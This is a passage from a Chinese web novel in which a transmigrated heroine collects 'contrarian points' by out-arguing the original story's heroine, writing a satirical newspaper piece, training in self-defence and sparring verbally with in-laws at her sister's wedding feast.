江茶看她这副架式,便笑着说:“宋同志,你别这样防备我,我这人没有坏心。” 宋知南淡淡一笑,等着江茶继续表演。 江茶故作为难地说:“峥嵘上次来做说客,可是他太不会说话了。毕竟男人嘛,总是那么粗心大意,说话还气人。他被你骂是他应得的报应。看到他被骂,我也挺忐忑的。但是我的心太软,经受不住某人的苦苦哀求,只好答应他走一趟。” 不得不说,江茶的说话艺术比霍峥嵘高明多了。她开头先说霍峥嵘被骂是应得的,看似站在宋知南这边,试图打消她的戒备和抵触情绪。接着说自己心中忐忑,又经不住顾朝华的苦苦哀求,先把自己放低了,换了一般人没准也跟着心软下来,哪好意思对她摆脸色?关键是她还把顾朝华的意图点出来了。所以绿茶毕竟是绿茶,茶言茶语是必备的功夫。 宋知南为了积攒素材,十分配合,神色都松弛下来了。 江茶一看有戏,不禁信心大增。 她一边观察着宋知南的神色一边说道:“宋同志,说实话,我们大家都很羡慕你,甚至还有些妒忌。” 宋知南演戏上瘾,做出了一副“我假装不在乎,但又隐隐得意”的表情。 江茶不动声色地道:“顾朝华在京城很受欢迎,很多女孩为他要死要活的,他都不为所动。但这一次他是真的栽了,栽在你的手里。” 宋知南面带微笑,听听这话术,换了没经验的女孩,谁受得了这个?一个情场浪子突然为你专一了,他前面的女人都是过客,只有你是他的最后一个女人。这说明什么?说明你是最特别的,你是被偏爱的。别人都不行,就你行。这对于从小就缺爱缺偏爱的女孩多么有诱惑力? 宋知南虽然还想接着看江茶表演,但做为杠精的本能已经开始蠢蠢欲动,她不能再忍了。 她犀利地反问道:“江茶,你说的这些话,顾朝华肯定也对前面的很多女孩说过吧?那些女孩肯定也曾经这么认为过吧?现在她们怎么样了?” 系统播报:杠精值加50。 江茶的笑容有些僵硬,她赶紧说道:“宋同志,那些女孩都是华哥生命中的过客。男人有些故事再正常不过。我妈说过,有的男人不在外面瞎搞几次,他的心就定不下来,婚前瞎搞总比婚后瞎搞强。” 宋知南冷笑道:“我七姑奶奶也说过,人要是不死一次,他就活不好。你要不回去让霍峥嵘和顾朝华跟你一起去死个试试?” 江茶:“……” 杠精值再加50。 江茶尽量维持着风度,接着说道:“宋同志,你的犀利、桀骜不驯已经引起了顾朝华的注意,但也仅此而已。你要知道,并不是每个男人都喜欢你这种性子的。事实上,大多数男同志根本受不了你这样的性格。你这样下去,总有一天会受到反噬。我真心地劝你,凡事要适可而止,过犹则不及。” 宋知南被气笑了,敢情江茶觉得自己这么犀利是为了引起男同志的注意,男人自恋这么认为也就罢了,人家是屁股决定脑袋,立场和利益使然。但是江茶不一样,她是个女人却在积极地为男人摇旗呐喊。这就等于让别人的屁股决定她的脑袋。 宋知南想起了江茶在书里的一系列让人不舒服的骚操作,她面对其他书中女配有一种心理上的优越感:你看,你这样不招男人喜欢,我招男人喜欢是因为我比你更懂事,比你通透,比你更会说话。她以招男人喜欢为己任,至死不渝。她衡量自己的价值和其他女人的价值也是通过这种方式。 如果说现代人评判成功人士的标准是金钱,那么江茶评判成功女人的标准就是男人的喜欢。 男人的喜欢约等于钱,宋知南觉得钱被侮辱了。 此时此刻,宋知南的心中涌起了一股邪火。 她用铿锵有力的语调说道:“江茶,我现在知道我为什么总瞧不起你了。” 江茶刚要反驳,宋知南扬手打断她:“看你表演这么久了,也该轮到我了。我长话短说。” “我之所以瞧不起你,是因为你虽然拥有脑子和全套器官,却只想着用脑子和子宫去全方位讨好霍峥嵘; 明明你也是女人,却拉踩其他女人成全男人,你的身边只允许你独放光彩。 你觉得你很幸福,甚至还嘲讽其他女人过得惨。但其实,你这一生过得挺可悲的。你把自己的精力全部用在男人身上和经营关系上,得不到时,你费尽心思去获得;得到了你又担心失去,一生都在忐忑不安,并试图向男人索要安全感。他给了,你就沾沾自喜;他不给,你就继续患得患失。” “你生命中最好的年华都在围绕着男人转,男人是什么珍贵的东西吗?霍峥嵘是什么好东西吗?他自恋自大、虚荣浅薄,如此普通的一个男人,值得你下如此大的气力吗? 被你视为好男人的霍峥嵘和顾朝华是一路货色,他们根本不懂爱,不懂尊重,他们只想征服只想要一个美貌贤惠的保姆。只有完美的保姆才能得到他们的盖章认可。这种认可就像屠夫盖在猪肉身上的蓝章,那么荒谬可笑,但你却视若珍宝。” 江茶的脸色变得煞白,身体微微晃了一下,她一直坚信的某种价值观的根基也随之摇晃了一下。 她强作镇定,输人不输阵,从牙缝里挤出一句:“宋知南,其实你是在妒忌我吧?” 宋知南面带浅笑:“我妒忌你?你真好笑。我明明拥有一座宇宙,为什么要妒忌你那片狭小灰暗的天空?难道我犯贱?我不像你,需要踩着同性讨好异性来证明自己的魅力,我的魅力无需向任何人证明,它一直与我同在。甚至有一天我不在了,它还存在。” 一向能言善辩的江茶语塞了。 宋知南获得杠精值200。 第53章 宋知南用怜悯慈悲的目光看了江茶一眼, 轻轻叹息一声离开了。 江茶被这个目光深深地刺痛了。羡慕的、妒忌的目光她早已习惯,愤恨的、恶毒的目光, 她也接收过不少,但唯独没有怜悯和慈悲。没有人有资格怜悯她,从来都只有她怜悯别人! 江茶心头堵塞得难受,想叫住宋知南再质问几句,可是话都梗在喉咙,却什么也说不出来。 宋知南离开的时候还在怜悯江茶,你可是女主角啊,女主角不应该闪闪发光、大杀四方吗?就这?为了绑住霍峥嵘这样一个自恋平凡的男人值得吗? 宋知南的情绪来得快去得也快,她突然灵光一闪,灵感来了,素材有了。文章中的另一个反派小茶出现了。今天真是收获颇多。 宋知南下班回家, 吃完晚饭, 开始奋笔疾书。今晚争取一口气把文章写完。 书写文章上回, “走资公子”小华来诱惑革命青年小南,小南坚决拒绝, 小华的朋友们前来助攻。 其中小争跟小华狼狈为奸, 沆瀣一气。他表面上文质彬彬,很有迷惑性,实则骨子里大男子主义,思想腐朽恶臭。说话间总带着一种高高在上的、旧社会霸道地主味儿。 他居高临下地说道:“小南,你有什么可骄傲的?你不过是区区一个工人而已,小华一个京城来的大院子弟,他能看上你, 那是你的幸运!” 小南义正词严地给出了回复:“我比你们高一级别,我是人类有史以来阶级性最纯、革命意志最坚定的无产阶级革命青年。区区一个大院子弟算什么?哪怕包括你在内的全世界的狗都认为屎香, 我还是坚持自己的意见。” 小争恼羞成怒,狼狈败走。 紧接着,小争的对象小茶登场了。 跟小争不同,小茶是一个让人又爱又恨的人物。她本来聪明能干,根正苗红,但却被小争这样的人腐蚀拉拢了,她背叛了自己的阶级,变成了小争小华的帮凶,经常把自己身边的女性朋友当作资源介绍给小争小华的朋友和哥们。她甚至还在同阶级的兄弟姐妹们面前有优越感。 小茶来劝小南接受小华,并且还以自己为例,说自己跟了小争后有多幸福:“因为他,别人都敬着我捧着我,我办工作可以直接走后门,买东西不用排队,想吃肉就吃肉。水果罐头我吃一罐倒一罐。吃猪肉,我嫌肥肉太肥,直接扔了喂狗……” 小南义正词严地说道:“小茶,你背叛了你的阶级。我耻于与你这种人为伍。为了我阶级的纯洁性,为了我的自由,我决不妥协。” 宋知南把这个故事润色一下,誊写一遍,就寄了出去。其实这个故事适合改编为话剧。这个等以后有机会再说。 文章写完以后,宋知南松了一口气。虽然她身边有很多奇葩和极品,但是没关系,她会写作。这些人都是她的素材。她爸她妈她哥她姐也都是她的素材。 闲来没事写写他们,不但能抒发心中的块垒,还能赚取稿费和名气,真是一举三得。 这个想法也激发了宋知南更多的想法。十年之后,便是改革开放。龙国进入了高速发展的四十年,这就是后世的人们所说的时代红利。 上辈子,她没赶上时代红利,倒是吃尽了时代黑利。读书时,被家长鸡娃差点鸡出精神病。一路卷到重点大学。一毕业,专家告诉她学历不值钱了,阶级固化了,还要他们脱下长衫。这些专家们咋不自己先脱下长衫呢? 每次听这些专家发言,宋知南都觉得她上她更行。 她的很多同学毕业即失业。有的人真的脱下了长衫,却发现别人仍嫌不够,甚至想扒掉他们的底裤。 而她自己,兜兜转转不停整治老板,弄得她挺爱整治老板似的,要是这些老板都是正常人,她能去费那个劲吗? 她好不容易赶上自媒体风口,刚刚飞到半空,结果号被封了。现在嘛,她也想吃一波时代红利。别的先不说,八十年代文学的黄金时代她可以赶上。 有趣的灵魂,清醒的头脑,批判的智慧,开放的思想,她全部都有。坚定的无产阶级属性,她也有。她不进入文坛,那将是文坛的重大损失。 思想舆论的阵地,你不去占领别人就会去占领。 她不能把文坛让给那些讨厌的老登们和小登们。后世的那些老登们,牢牢把持着严肃文学的大门,关起门来自嗨,学阀文霸都出来了。他们占据着话语权,用腐烂过时的言论精神污染着一代又一代的女孩们。他们仿佛没见过女人似的,笔下的女人全部来自臆想,女人形象单薄刻板,不是圣女就是□□。被称赞的永远是甘当男人血包的无私奉献型女人。 她以后就要写真正的少女文学,真正的少女不是男人臆想中的散发着幽幽体香、袅袅婷婷、含羞带怯的女孩,也不会是结着丁香一样愁怨的雨中姑娘。她们还没被这个操蛋的社会彻底驯化,还没有被男人凝视得动作变形。她们野性不羁,生机勃勃,充满着原始的生命活力。她们平等的看不起所有人。老的嫌老,小的嫌小;男的嫌骚,女的嫌吵。 她还要写真实的悍妇文学,她们不被道德绑架,口无遮拦,破口大骂。勇敢地表达自己最真实的愤怒和不满;等她老了,她就写老娘文学。争取做一个对老登小登们有副作用的高知悍妇,他们越不让写,她就越写,创死一个算一个。 宋知南找到了人生目标,斗志满满。 她要好好工作,认真整理每一份素材,以后好做为写作的第一手资料。同时还要系统地阅读,趁着现在脑子好使,注意力还不分散,她要静下心来阅读那些大部头,每天回来要认真练笔。最好每天能写个2千字。 今天是立下大志的第一天,必须得有个仪式感。 想到这里,宋知南郑重地在笔记本上写下一段话:为了女性解放而读书写作。 我的墓志铭:宋知南,1955-2055。龙国著名作家、思想家,代表作:——。 为什么先写好墓志铭?经常看成功学和心灵鸡汤的人都知道,这叫以终为始。当你知道终点在哪里,前进的时候就更有方向感,信念更坚定。 目标定下了,还差一点氛围感。 宋知南跑到隔壁去找李群英,找她借了照相机,让她帮忙给自己照张相。 宋知南怀里抱着猫,狗在她在腿边站着,以书架为背景照了一张相片。 照片洗出来是黑白的,照相馆师傅手工给她上色,画成彩色照片。 宋知南非常喜欢,回来把把照片装在相框里,放在书架上。她不求神不拜佛,以后没事就拜拜自己。只要她有力量有信念肯努力,她的未来一定不是梦。 三天后,宋知南的文章在本地的晚报副刊上登出。这个时代,大家都很严肃,像她这样活泼犀利的文风很少见,大家挺喜欢看。陌生人看着只觉得有趣,跟宋知南相熟的人却觉得这文章里另有乾坤。大家一结合一印证,当下便拍着大腿说道:“我知道这里头的原型是谁了。” “是谁是谁?” “我跟你说,你可别告诉别人。” …… 这帮人很快就破案了:小华就是顾朝华,小争是霍峥嵘,小茶自然就是江茶,至于女主角小南,不用说就是宋知南本人。 也有人提出了疑问:“咋觉得有些奇怪,不就是顾朝华纠缠宋知南吗?咋还扯上了阶级性呢?” 有人解密:“各行各业都要政治挂帅嘛,阶级斗争是个纲,啥都能往里装。” “明白明白。” “那个里面的小华真讨厌,人家明明已经拒绝了他还在那儿纠缠。随随便便就跟人家搭讪,哪像个正经男人。” “里面的小南说得对,小华就是仗势欺人,他怎么不敢去搭讪领导家的女儿,还不是觉得咱们普通人家他惹得起,完全不放在心上。” “什么玩意儿。” “小争和小茶都不是啥好鸟。” “真没想到,他俩原来是那样的人。” “我早看出来了,就怕你们不信才没说。” 大家用异样的目光看着霍峥嵘和江茶顾朝华三人,一看到他们就议论纷纷,指指点点。 有人说,顾朝华跟霍峥嵘和江茶各有一腿,毕竟人家男女通吃嘛。还有人说江茶像是拉皮条的,以前跟江茶走得近的女同志都充满了警惕和戒备。原来还以为江茶是热心,现在一想,细思极恐,敢情人家是把她们当成资源了。听说她把自己的同事陆诗月介绍给一个大老粗,人家不愿意,她还在那儿劝,她到底安的什么心? 江茶苦心经营的人设和形象一夜之间崩塌了。霍峥嵘也跟她差不多。 霍峥嵘的父亲霍副总工也听说了这件事,他严厉警告儿子一定要小心低调,决不能再招惹宋知南。开什么玩笑,如今这个多事之秋,他做人都得夹着尾巴,生怕别人抓住他的把柄。结果那个混帐儿子竟然那么高调,还有那个江茶,也是个惹事精。 霍副总工更怕顾朝华在他这里出了事,他担当不起,赶紧写信把事情的原委说清楚,信写得很委婉,意思很明确,你们家给他换个安全的地方吧。我们这儿庙小容不下他。 霍副总工还托人给宋知南带话,说这事到此为止,他一定会好好管着霍峥嵘,看着顾朝华,保证不再纠缠她。也请她不要再写类似的文章了。 宋知南表面上答应得好好的,背地里该干吗干吗。开什么玩笑,战争已经开始了,是想停就能停的吗?不过,她需要时间布局和契机,保持表面的和平也未尝不可。 霍峥嵘、顾朝华和江茶他们终于找到时间聚在一起商量事情,三人面前各摆着一张报纸。 江茶神色凝重,霍峥嵘面沉似水。 顾朝华面色冷峻,但仍做出一副满不在乎地样子,翘着二郎腿,皮笑肉不笑地说道:“这个宋知南是个人物,是我所遇到的女孩中战斗力最强的。可惜了,女孩子一好斗就不可爱了。” 霍峥嵘冷笑道:“她宋知南从来都跟可爱不沾边,我不明白,这世上怎么会有她这样的女同志?” 江茶目带茫然:也许,她真的误解了宋知南,她这么桀骜不驯,根本就不是为了引起男同志的注意。她是本来就如此。霍峥嵘没见过宋知南这样的女孩,其实她也没见过,她在遇到宋知南之前,甚至都想不到会有这样的人。 霍峥嵘接着问:“她把咱们写进文章,算不算侵犯咱们的名誉权?” 江茶有气无力地答道:“现在这个时候,别说是名誉权,就算宋知南指名道姓地写大字报你又能如何?而且她只是用化名,里面写的顾哥纠缠她的事也算是真事。” 霍峥嵘说:“她能写,咱们也能写。不能就这么算了。咱们仨回去就写,一人一篇。” 三人回去后也开始写文章,霍峥嵘手下的那帮小弟们也知道了事情的来龙去脉,一个个义愤填膺,要不是霍峥嵘拦着,他们现在去找宋知南的麻烦。 霍峥嵘之所以拦着这些小弟们找茬,倒不是为了宋知南,而是为了自己的名声和前途着想。父亲再三警告自己,不要再招惹宋知南。在这种敏感时刻,大家的目光都盯着他,他暂时不敢明目张胆地招惹宋知南那个理智的疯子。谁知道她下一步做出什么事来。 虽然这帮人没有直接找宋知南的麻烦,但时不时地跟踪、盯梢还是少不了的。 宋知南很快就察觉了,她给自己增加了几样装备。同时,她抓紧时间搜集三人的资料,她先是托吴明珠打听顾朝华那边的地址,她打算写几封信到首都去,顾朝华不是下来躲风头吗?她就帮忙把她送回到风口浪尖去。只是这些事情需要时间。 宋知南倒也不急,毕竟对方人多势众,还是原书的男主女主,能量很大,她布局一定得仔细周全,争取不出手则已,一出手就让对方毫无还手之力。 宋知南在准备这些事的同时,仍跟往常一样,正常上下班,生活并没有受到太大影响。 这件事也给宋知南提了个醒,她这张嘴还有她手里的笔,都是惹事精。麻烦是避免不了的,除非她不说不写了。那是不可能的,这不是要她的命吗? 所以,她必须得锻炼身体,提高武力值。遇到有人想动武,她也好奉陪。 高知悍妇,不光要有文化有脑子,还得有力气,身手敏捷。精神身体一把抓,文斗武卫样样行。 宋知南在院子里腾出一片空地,把地面给平整了,楔进去几根柱子,她去河边挖了一麻袋沙子,弄两个沙袋挂在院子里,自己再缝副棉手套。没事就捶踢沙袋练拳练腿。她还弄了块圆木盘,在上面画个圆圈,写文章写累了就练飞镖。另外还在两条腿上各绑一只五斤重的小沙袋,没事就在院子里跑跑跳跳。最后就是多吃肉和鸡蛋让自己长得再高些壮些。 宋知南还从系统商城买了十把剪刀和水果刀,书房、卧室床头桌上、进门处、厨房里各放上一把。床头的墙边、门背后各放了一个榔头,一旦有人进来,她能随手拿起工具就开干。 除此以外,宋知南还进行专项练习,第一项是捏蛋。因为工具和材料实在有限,鸡蛋她舍不得捏。她只能就地取材,用泥巴搓成圆球放院子里晒干,再用手握着试着捏碎。买到橘子,她就捏橘子,手榨橘子汁。反正没事就练习,时间长了,就能形成肌肉记忆。 第二项运专项运动是踢裆,宋知南找了一条旧裤子,在裤腿里塞上稻草,□□中间用布和棉花缝个长条东西。把旧裤子挂屋里,走过路过就踢上一脚,平踢、侧踢、飞踢,换着花样踢,争取不踢则已,一踢就断子绝孙。 宋知南觉得,就这样日复一日地练习下去,她以后会强得可怕。 第54章 宋知南搞了这么一套大动作, 自然瞒不过隔壁邻居李群英。 李群英看着院子里的沙袋和飞盘不禁咂舌:“知南,你这是要搞什么名堂?” 宋知南一边踢沙袋一边回答:“响应伟大领袖号召:野蛮身体。” 李群英竖起大拇指:“宋同志, 你真有觉悟。有你这样的战士,咱们灭掉美帝指日可待。” 说着,李群英指指地上那一堆圆圆的泥球问:“那这又是什么?是泥巴搓的手榴弹?” 宋知南:“不是,手榴弹怎么可能那么小?我在练习捏球。” 李群英也没往别处想,只以为她是在练习握力。 徒弟边月来串门,看到院子里的变化,忍不住大呼大叫。 “师傅,我也要跟你一起练习。” “没问题,一起来。” “这圆球是干什么的?” “我在练习一项神功,叫猴子捏桃,特别适合咱们女同志。” “哦哦, 我也要练这招。” 宋知南一边练习武力, 一边关注着外面的事情。她那篇文章的影响力还在持续。 这几天, 霍峥嵘和江茶的名声还在逐步下跌,顾朝华更是声名狼藉, 听说街道办的人上门给霍峥嵘做思想工作, 劝他赶紧把顾朝华送回去。听陆诗月说,吴明珠高兴得胃口都变好了。 陆诗月说,霍峥嵘和江茶在组织人手写文章反扑。反扑是一定会有的。宋知南倒也不担心,该干吗干吗。 对方的反扑很快就来了,霍峥嵘和江茶他们文章倒是写了,但是不够发表水平。他们只好找人代写了一篇回击宋知南,写文章的人端着架子, 站在道德至高点上不痛不痒地批评了宋知南几句。 霍峥嵘对这个效果不满意,让那人骂得再狠些, 对方挺有文化人的体面,说他不想搞泼妇骂街那一套。 宋知南知道对方不是不想,而是不能。泼妇骂街文章也不是那么好写的,你得写出泼的精髓同时又不用脏字,这个水平能是一般人会有的吗?这也愈发说明,她选的这条赛道竞争对手很少。宋知南忍不住夸了自己几句。 因为心里高兴,宋知南下班时嘴里哼着今年的新歌,一边唱歌一边走路: “东风吹,战鼓擂, 现在世界上究竟谁怕谁? 不是人民怕美帝,而是美帝怕人民。” 宋知南正唱得起劲,半路上出现个宋知夏。 宋知南一看到宋知夏就充满警惕:“你又要干吗?” 宋知夏无奈地说:“我是你亲姐,你对我怎么跟对待阶级敌人似的?” 宋知南:“防火防盗防亲人。” 宋知夏叹了声气,说:“我是来通知你的,这周日我跟你姐夫要补办酒席,你来不来?” 宋知夏说到这里赶紧补充一句:“你还没成家,也不用随礼。你就去吃个饭,给我撑撑场面就行。”她办酒席亲妹妹不去,别人指不定说什么呢。 说到这里,宋知夏小心地观察着宋知南的脸色,生怕她犯倔不去。 宋知南考虑片刻,爽快答应:“不就去吃顿饭吗?我就去呗。” 宋知夏听到她答应,不禁松了一口气,接着说:“大姐一家,还有大伯他们也会来。” “陈安华那边的亲戚也来?” 宋知夏说:“只来一部分吧,你姐夫说,那边的重要亲戚另请。” 宋知夏还是不放心,想了想又嘱咐道:“那天是我大喜的日子,你能不能别跟我婆家人吵架?” 宋知南奇怪地看了宋知夏一眼:“这话你应该对你婆家人说,只要他们不挑事儿我闲得发慌才去跟他们吵。” 宋知夏不确定地说:“他们应该也懂得这个理儿吧。” 宋知夏一边说着话一边跟着宋知南回了家。 宋知南一开院门,小狗黑米就摇头摆尾地迎了上来。小虎也从墙头一跃而下,砸在宋知南的右肩上。 宋知南摸摸猫头,又低头撸撸毛茸茸的狗头,一脸满足地说道:“每次回家看到两个毛孩子,心情都变好了。” 宋知夏一脸羡慕地看着妹妹:“有自己的房子就是好,想养啥就养啥。” 她在娘家没有自主权,到了婆家很长一段时间内也不会有。而妹妹现在就有。 当宋知夏看到院子里的沙袋和圆盘时,吃了一惊:“三妹,你还练习踢沙袋?你打人还不够厉害吗?” 宋知南淡声说:“对你们这种人来说我是很厉害,但遇上更厉害的还是不够。谁会嫌武力太强啊。我劝你没事也要练练,你结婚了,以后肯定用得着。” 宋知夏哭笑不得:“你就不能盼着我点好?” 宋知南嗤笑一声:“我当然盼着你好,但现实并不以我的盼望为转移。” 宋知夏不想跟妹妹纠缠这个话题,她相信陈安华不会动手打她的,再说了,她也不是那种懦弱的女人。 宋知夏接着问道:“知南,你这样练下去,变得太壮了会显得不好看吧?” 宋知南瞥了她一眼:“你懂个啥?等你将来跟人打架、遇到危险时就知道哪儿重要了。再说了,壮怎么就不好看了?” 宋知夏尽管心里不赞同,但也没敢多说。 宋知南也没留宋知夏吃饭,宋知夏呆了一会儿就离开了。 宋知南吃完晚饭,休息半小时,便在院子里练习踢沙袋,捏泥球。 她练习到天黑,待到身上的汗干了,去洗个澡,换上睡衣,开始阅读写作,9点半,功课结束。宋知南带着家里的两个成员,打着手电筒在院子里及外围巡视一圈,无异常状况,锁好大门和房门,回屋准备睡觉。 第二天清晨,又是元气满满的一天。宋知南飞快地做早饭吃早餐,喂猫喂狗,各撸了猫狗一把,跟它们道别后去上班。 中午休息时,何黛去传达室拿信,顺便把宋知南的包裹也拿回来了。 何黛好奇地问道:“看上面地址是黑省的,是你哥哥寄来的吧?” 宋知南摇头:“肯定不是他,应该是我嫂子寄来的。” 她一边说话一边用剪刀拆包裹,东西还真不少:一小袋小米,一纸包花生,另外还有榛子、干蘑菇、干木耳,竟然还有一小袋用油纸包着的肉脯。宋知南拆完包裹洗干净手,捏起一块肉脯尝了一口,有点辣有点咸,吃起来还挺劲道。 宋知南招呼何黛吃肉脯,何黛挑了一块最小的慢慢嚼着,“真好吃。你嫂子对你真不错。” 宋知南说道:“是不错,可惜眼光不太好,竟然看上我哥了。” 何黛没忍住,噗嗤一声笑了出来。 包裹的最下面还有一封信,信是林六宝写的,很短,说她感谢宋知南寄过去的礼物,他们囤子里的人都夸她是个懂事知礼的好小姑子。隔着这么远,她们连面都没见,她竟然给她写信送礼。还说他们俩过年前打算回来探亲,到时候她们就可以见面了。 宋知南一边看信一边吃肉脯,她抬头看了一眼何黛,见她停下了,又给她拿了一大块肉脯:“挺好吃的呀,怎么停下了?” 何黛不好意思地说:“这么稀罕珍贵的东西,尝一块就够了。” 宋知南说:“几块肉脯而已,你就吃吧。” 宋知南把蘑菇和木耳分出一些给何黛,何黛推让了一下也就欢喜地收下了。 她心里不由感慨,宋知南真是大方,有这样的同事真是幸福。 宋知南把剩下的特产分成四份,自己一份,魏芬和李群英各一份,还有大姐也有一份,等参加二姐婚礼见着她时再给。 很快就到了星期日,宋冬宝特意来接宋知南一起去陈家。 陈家离他们家不远,住的院子比宋家住的大杂院从外观上瞧着好多了,但里面一样拥挤。 陈家门前有一间新盖的小房子,目测也就七八平米。这是宋知夏和陈安华住的婚房。 院子里摆了七八张桌子,人来人往,吵吵嚷嚷。 他们刚到不久,大姐宋知春来了。 宋知春过来拉着宋知南说话:“小南,你最近怎样?” 宋知南说:“一切都挺好,工作顺心,同事和气,生活幸福。” 宋知春听着挺高兴,终于不是苦哈哈的了。 宋知南把准备好的干货给宋知春,宋知春惊讶了一下,“都是好东西,你从哪儿弄来的?” 宋知南没说是大嫂寄来的,说是朋友寄来的。因为宋上进夫妻俩还不知道她跟林六宝通过信,这事最好先瞒着。 宋知春心情愉悦地收好东西,笑着看向宋冬宝:“冬宝你最近咋样?” 宋冬宝挠挠头:“还那样吧。”三姐搬出去后,没人打他和使唤他了,可他总觉得缺点什么。 他们正说着话,就听见一个略有些尖利的声音在耳边响起来:“哟,这不是她大姐吗?来来,快进来坐。” 宋知南循声看去,就见一个四十七八、眉眼凌厉的女人向他们走来。 宋知春拉了一下宋知南小声说:“这就是你二姐的婆婆王桂兰。” 待王桂兰走到他们跟前,三人齐声叫了声王阿姨。 王桂兰把飞快地打量了一眼宋知南,热情地说道:“来来,咱们快进屋去。你爸妈你大伯娘他们都在屋里呢。” 宋知南三人跟着王桂兰进了堂屋,屋里坐满了人。宋知夏赶紧找出几个小马扎来让他们坐下。 宋知南刚坐下,就被一个满脸精明相的中年妇女拉了起来,“哎哟小南,你咋大变样了?” 宋知南很快就认出了眼前这人,是她的大伯母何梅。 “大伯母来了。” 何梅一直跟李玉华不对付,两家关系不好,平常也很少往来。来往少,不代表何梅不关注他们一家子。何梅最近没少听到关于宋知南这个侄女的消息,有好话也有坏话。 今天她一看宋知南,好家伙,整个人大变样。不但长高了长胖了,气质还变了。不再像以前那样,总是小心翼翼的。现在是大大方方的,眼神锐利。谁看她,她就盯着谁看,直到对方错开目光。 “你这孩子都到妇联工作了,还会写文章。谁能想到你这么有出息。那些以前看不上你的人不得后悔得肠子都青了。” 何梅又夸宋知南几句,一旁的李玉华脸色都变了,这个何梅是故意的吧?她明知道自个儿最讨厌老四,她还故意当着自己的面夸她。 李玉华张了张嘴,刚要回怼何梅几句,不想话头却被王桂兰截走了。 王桂兰的话也是对着宋知南说的:“小南,你二姐的婚房你也看到了吧?别看房子不大,可费了老劲了。邻居们都不同意盖,说我们占用公共地方,吵了不知道多少回,我嘴皮子都快磨破了他们才勉强同意。” 宋知南不知道对方为什么要对她说这些,她笑着回应道:“王阿姨,不是都说你们家条件好吗?你们家这条件应该不至于为了一间八平米的房子这么费劲吧?再说了,你家娶媳妇准备房子不是应该的吗?” 杠精值加5。 王桂兰:“……”这孩子咋那么不会说话呢。 宋知夏和李玉华不停地朝宋知南使眼色,其他人则是停下说话看向她们这边。 王桂兰干笑一声,接着说:“其实我们家也不是没有办法,我们原先打算让安华和你二姐结婚后住在刘家的房子里,没想到你手快,被你先占去了。” 宋知南心中恍然,原来搁这儿等着她吧。他们想占房子没占着,觉着不甘心。 宋知南淡声说道:“王阿姨,我年轻说话直,你别介意。我给你捋一捋这件事。 按理说,就你儿子这种十里八村都找不出来的特殊长相,一生下来你和我叔就应该明白,家里条件不好肯定找不着媳妇,你们那时就应该准备好房子彩礼啥的,咋能说要用刘家的房子结婚呢?人家刘富贵才死多久?难道说你二十年前就开始盼着你亲戚刘家全家死绝好继承人家房子?再说了,你家跟他家是表亲,就算论继承也轮不到你家啊。肚脐眼放炮,你是咋(响)想的?” 杠精值再加10。 宋知南摇头叹气,她其实今天没打算赚杠精值,她就是来吃席的。但对方非要舞到她面前让她杠。 众人你看看我,我看看你,互相使着眼色。 王桂兰的脸色刷地一下变了,脸上的笑容也挂不住了。 宋知夏急得直朝宋知南使眼色,宋知南装作没看见。是你婆婆先招我的,你朝我使劲干啥? 宋知夏的公公陈志国一脸严肃地说道:“小南,你这话是咋说的呢?你姐大喜的日子你非得说这些?” 宋知南面带疑惑:“对啊,我姐和你儿子大喜的日子,你们为什么跟我说这个?我没结过婚不懂这里面的规矩,难道你们也不懂?你们为啥要提这个开头呢?” 陈志国被堵得哑口无言。 杠精值加5。 宋上进和李玉华异口同声:“小四,你少说两句。” 宋知夏赶紧拉着宋知南好声劝道:“小妹,今天是我结婚,你给我个面子行不?” 宋知南大度地说:“行啦,我看在我姐的面子上不跟你俩计较了,你们去招呼别人吧,不用招待我。”她今天就是来吃席的,吃完饭就走。 陈志国脸色阴沉,他居高临下地看着宋知南摇头叹息:“小南啊,我毕竟是你的长辈,我劝你一句,一个女孩子家最重要的是温柔和顺,你这样会吃亏的。” 宋知南笑着说:“陈叔,我也劝你一句:一个男人可以丑可以穷,但不能不宽容大度,不能心里没数。你这样不但会吃一辈子亏还会影响儿孙。” 杠精值加5。 众人再次面面相觑,现在的年轻姑娘都这么猛吗?当面顶撞长辈不说,还当众嘲讽长辈长得丑。 没错,这个陈志国长得也贼丑,陈安华就随他的长相。 陈志国气得差点心梗,愤然离去。 宋知南这次收获了二十多个杠精值,真是不虚此行。 第55章 宋知南懒得看屋里这帮人的嘴脸, 起身离开,在院子里溜溜达达。 这一会儿功夫, 屋里发生的事已经传到外面了。院子里的宾客们都用异样的目光看着宋知南,一个个交头接耳,议论纷纷。 “你看见那个姑娘没?是新娘的妹妹,刚才在屋里把她姐的公婆都给怼了。” “看不出来啊,瞧着文文静静的。” “人不可貌相,你看走眼了。新娘子的妹子叫宋知南,你想想你听说过没有?” “宋知南?好像听说过。” “是吧是吧。她是纺织厂妇联办公室的,据说一来就把厂里的男职工骂个遍,纺织厂的男职工私下里组织了一个什么联盟,就是为了抵制她的。大家一齐约好,谁也不准跟她处对象。” “我的天, 这姑娘麻烦大了。” “还有呢, 有个京城来的大院子弟不信邪, 非要跟她搞对象,又是送礼又是写信的, 大雨天淋得跟狗似的, 结果你猜怎么着?” “怎么着了?你快说。” “她把人家大骂了一顿,这还不够,还写文章骂。这下彻底完了,你想啊,以后谁敢打她的主意?” “这姑娘是不是傻啊,哪有人拿自己的终身大事开玩笑的?” “人家可不傻,才十五六岁, 工作房子都有了,写的文章都上报了。这样的人能傻?” “那她图啥?” “不清楚, 人家脑子跟咱们长得不一样呗。” …… 宋知南打算找张人少的桌子坐下歇一会儿,不料隔壁桌的大爷大妈一直盯着她看。宋知南回盯过去,盯得对方尴尬地朝她直笑。 一个老大爷忍不住开始说教:“你是小宋?新娘子的妹妹。我听说你在屋里把老陈给怼了,还笑话他丑。你这孩子我怎么说你好,你陈叔毕竟是长辈,你咋能这么说呢?” 宋知南先是嗤之以鼻,接着慷慨激昂:“长辈怎么了?现在是新社会新国家,不是封建帝制时代。咱们无产阶级看人只看阶级性,只看革命性,不看岁数。轮资排辈分,以老压小,那都是封建糟粕。老同志,咱们的四旧破了,你心中的四旧还在啊。你是不是在怀念旧时代?” 老大爷吓得脸色微变,赶紧否认:“我没有,我不旧,我新得很。” 杠精值加5,这个院里真是藏龙卧虎。 宋知南哐地一下站起来,用犀利的目光盯着老大爷,厉声问:“你给我如实交代,你爷爷是干什么的?你爸是干吗的?你家是什么阶级成分?你为什么对封建制度情有独钟?你为什么要用封建思想毒害革命女青年?你给我说清楚!” 杠精值再加5。 老大爷一看这架式,腾地一下站起来就往外跑,那速度跟上超市抢鸡蛋的老头一样快。 宋知南见老头走了,锐利的目光又扫向桌上其他人。大家对视一眼,纷纷起身离开。 宋知南重新坐下来,终于耳根清净了。 